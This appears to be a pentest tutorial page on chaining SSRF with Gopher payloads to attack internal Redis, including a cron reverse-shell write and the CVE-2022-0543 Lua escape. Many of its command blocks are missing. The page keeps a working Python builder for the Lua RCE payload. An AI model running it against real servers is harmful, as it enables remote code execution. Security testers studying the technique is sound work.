SSRF to Redis – Gopher Protocol Command Injection
When a web application has a Server-Side Request Forgery (SSRF) vulnerability and the internal network runs Redis, you can use the Gopher protocol to send raw TCP data to the Redis port. Gopher payloads carry Redis inline commands over HTTP, bypassing the Redis client protocol entirely. This is how Redis behind a firewall — only accessible from the web server — gets exploited via a public-facing SSRF.
Prerequisites Check
1 – SSRF vulnerability exists in the web application: Test basic SSRF to your attack box:
If you receive a connection, SSRF is confirmed.
2 – Gopher is supported by the SSRF handler:
A +PONG or any Redis response in the HTTP reply confirms Gopher is supported and Redis is reachable internally.
3 – Redis is running internally (common ports):
Probe internal ports via the SSRF to confirm Redis is there:
A Redis error or INFO output in the response confirms the service.
Building Gopher Payloads Manually
Redis commands in Gopher are URL-encoded with %0d%0a (CRLF) as the line terminator. The _ after gopher://host:port/ is a throwaway first byte required by the Gopher protocol.
PING test:
Get a key:
Run INFO:
Generating Payloads with Gopherus
Gopherus automates Gopher payload generation for Redis and other internal services:
Select the shell type when prompted. Gopherus generates a ready-to-use Gopher URL:
URL-encode the payload once more if your SSRF passes it as a query parameter:
Cron Job Write via SSRF
The full cron write sequence encoded as a Gopher payload. Generate with Gopherus (select ReverseShell) or build manually:
Replace $LHOST and $LPORT before sending.
Start your listener and submit the payload via the SSRF parameter:
CVE-2022-0543 Lua RCE via SSRF
If the target is Debian/Ubuntu and Redis is version <=6.0.15, chain SSRF with the Lua sandbox escape. Build the Gopher payload:
import urllib.parse
cmd = "id"
lua = f"""eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("{cmd}", "r"); local res = f:read("*a"); f:close(); return res' 0"""
redis_cmd = f"\r\n{lua}\r\nquit\r\n"
gopher_payload = "gopher://127.0.0.1:6379/_" + urllib.parse.quote(redis_cmd)
print(gopher_payload)
Submit the output URL as the SSRF value to execute id on the server. Replace id with a reverse shell one-liner for a shell.
Double URL Encoding
Some SSRF implementations decode the URL once before forwarding. If the payload is not reaching Redis correctly, double-encode it:
References
-
tarunkant Automated Gopher payload generator for Redis, MySQL, SMTP, FastCGI, and other internal services via SSRF.
-
Red Island CTF Writeupwww.hackthebox.com/blog/red-island-ca-ctf-2022-web-writeup (opens in new tab)
HackTheBox Full SSRF to Redis CVE-2022-0543 chain walkthrough with Gopher payload construction.
Was this helpful?
Your feedback helps improve this page.